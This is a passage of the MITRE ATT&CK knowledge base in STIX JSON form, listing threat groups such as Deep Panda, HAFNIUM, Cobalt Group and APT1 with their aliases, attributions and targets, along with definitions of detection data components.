Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Deep Panda","Shell Crew","WebMasters","KungFu Kittens","PinkPanther","Black Vine"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Andrew Smith, @jakx_"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","type":"intrusion-set","created":"2017-05-31T21:31:49.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0009","url":"https://attack.mitre.org/groups/G0009","source_name":"mitre-attack"},{"source_name":"Deep Panda","description":"(Citation: Alperovitch 2014)"},{"source_name":"Shell Crew","description":"(Citation: RSA Shell Crew)"},{"source_name":"WebMasters","description":"(Citation: RSA Shell Crew)"},{"source_name":"KungFu Kittens","description":"(Citation: RSA Shell Crew)"},{"source_name":"PinkPanther","description":"(Citation: RSA Shell Crew)"},{"source_name":"Black Vine","description":"(Citation: Symantec Black Vine)"},{"url":"https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.","source_name":"Alperovitch 2014"},{"url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.","source_name":"ThreatConnect Anthem"},{"url":"https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf","description":"RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.","source_name":"RSA Shell Crew"},{"source_name":"Symantec Black Vine","description":"DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf"},{"url":"https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/","description":"Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China’s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.","source_name":"ICIT China's Espionage Jul 2016"}],"modified":"2021-02-09T13:49:09.605Z","name":"Deep Panda","description":"[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Evilnum"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","type":"intrusion-set","created":"2021-01-22T16:46:17.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0120","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0120"},{"source_name":"Evilnum","description":"(Citation: ESET EvilNum July 2020)"},{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-04-27T19:55:58.323Z","name":"Evilnum","description":"[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Fox Kitten","UNC757","PIONEER KITTEN","Parisite"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","type":"intrusion-set","created":"2020-12-21T21:49:47.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0117","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0117"},{"source_name":"UNC757","description":"(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"},{"source_name":"PIONEER KITTEN","description":"(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)"},{"source_name":"Parisite","description":"(Citation: Dragos PARISITE )(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"},{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"CrowdStrike PIONEER KITTEN August 2020","url":"https://www.crowdstrike.com/blog/who-is-pioneer-kitten/","description":"Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."},{"source_name":"Dragos PARISITE ","url":"https://www.dragos.com/threat/parisite/","description":"Dragos. (n.d.). PARISITE. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."},{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2021-04-20T22:02:30.995Z","name":"Fox Kitten","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["HAFNIUM","Operation Exchange Marauder"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security","Matt Brenton, Zurich Insurance Group","Mayuresh Dani, Qualys","Harshal Tupsamudre, Qualys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","created":"2021-03-03T19:40:47.280Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"G0125","url":"https://attack.mitre.org/groups/G0125"},{"source_name":"Operation Exchange Marauder","description":"(Citation: Volexity Exchange Marauder March 2021)"},{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."},{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)","modified":"2022-04-16T19:14:24.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"HAFNIUM","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Rancor"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0075","external_id":"G0075"},{"source_name":"Rancor","description":"(Citation: Rancor Unit42 June 2018)"},{"url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","source_name":"Rancor Unit42 June 2018"}],"modified":"2020-03-30T19:15:49.217Z","name":"Rancor","description":"[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["LazyScripter"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","created":"2021-11-24T19:26:27.305Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"G0140","url":"https://attack.mitre.org/groups/G0140"},{"source_name":"LazyScripter","description":"(Citation: MalwareBytes LazyScripter Feb 2021)"},{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-15T19:09:59.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"LazyScripter","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"Drive Creation","description":"Initial construction of a drive letter or mount point to a data storage device","x_mitre_data_source_ref":"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Logon Session Creation","description":"Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)","x_mitre_data_source_ref":"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Cloud Service Disable","description":"Deactivation or stoppage of a cloud service (ex: AWS Cloudtrail StopLogging)","x_mitre_data_source_ref":"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Instance Modification","description":"Changes made to an instance, including its settings and/or control data (ex: instance.addResourcePolicies or instances.setMetadata within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Cobalt Group","GOLD KINGSWOOD","Cobalt Gang","Cobalt Spider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0080","external_id":"G0080"},{"source_name":"Cobalt Group","description":"(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)"},{"source_name":"GOLD KINGSWOOD","description":"(Citation: Secureworks GOLD KINGSWOOD September 2018)"},{"source_name":"Cobalt Gang","description":"(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)"},{"source_name":"Cobalt Spider","description":"(Citation: Crowdstrike Global Threat Report Feb 2018)"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"},{"source_name":"Proofpoint Cobalt June 2017","description":"Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target"},{"source_name":"RiskIQ Cobalt Nov 2017","description":"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.","url":"https://www.riskiq.com/blog/labs/cobalt-strike/"},{"source_name":"RiskIQ Cobalt Jan 2018","description":"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.","url":"https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"},{"source_name":"Europol Cobalt Mar 2018","description":"Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.","url":"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain"},{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."},{"source_name":"Crowdstrike Global Threat Report Feb 2018","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"},{"description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.","url":"https://blog.morphisec.com/cobalt-gang-2.0","source_name":"Morphisec Cobalt Gang Oct 2018"}],"modified":"2021-10-18T22:02:12.586Z","name":"Cobalt Group","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.271Z","name":"Web Credential Usage","description":"An attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202)","x_mitre_data_source_ref":"x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.271Z","name":"Scheduled Job Creation","description":"Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)","x_mitre_data_source_ref":"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Gelsemium"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--99910207-1741-4da1-9b5d-537410186b51","type":"intrusion-set","created":"2021-11-30T16:25:49.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0141","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0141"},{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-02T14:15:49.640Z","name":"Gelsemium","description":"[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in Eastern Asia and the Middle East.(Citation: ESET Gelsemium June 2021)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["CostaRicto"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--bb82e0b0-6e9c-439f-970a-4c917a74c5f2","type":"intrusion-set","created":"2021-05-24T13:37:20.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0132","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0132"},{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T20:41:50.305Z","name":"CostaRicto","description":"[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--91b3ed33-d1b5-4c4b-a896-76c55eb3cfd8","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Container Enumeration","description":"An extracted list of containers (ex: docker ps)","x_mitre_data_source_ref":"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Putter Panda","APT2","MSUpdater"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","type":"intrusion-set","created":"2017-05-31T21:31:56.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0024","external_id":"G0024"},{"source_name":"Putter Panda","description":"(Citation: CrowdStrike Putter Panda) (Citation: Cylance Putter Panda)"},{"source_name":"APT2","description":"(Citation: Cylance Putter Panda)"},{"source_name":"MSUpdater","description":"(Citation: CrowdStrike Putter Panda)"},{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. 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Retrieved May 14, 2020."}],"modified":"2020-06-30T03:08:44.808Z","name":"Sharpshooter","description":"Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. 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(2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"IronNet BlackTech Oct 2021","url":"https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape","description":"Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022."},{"source_name":"Reuters Taiwan BlackTech August 2020","url":"https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK","description":"Lee, Y. (2020, August 19). Taiwan says China behind cyberattacks on government agencies, emails. Retrieved April 6, 2022."},{"source_name":"Symantec Palmerworm Sep 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt","description":"Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)","modified":"2022-04-06T13:14:27.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"BlackTech","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.271Z","name":"User Account Metadata","description":"Contextual data about an account, which may include a username, user ID, environmental data, etc.","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT1","Comment Crew","Comment Group","Comment Panda"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","type":"intrusion-set","created":"2017-05-31T21:31:47.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0006","external_id":"G0006"},{"source_name":"APT1","description":"(Citation: Mandiant APT1)"},{"source_name":"Comment Crew","description":"(Citation: Mandiant APT1)"},{"source_name":"Comment Group","description":"(Citation: Mandiant APT1)"},{"source_name":"Comment Panda","description":"(Citation: CrowdStrike Putter Panda)"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"},{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). 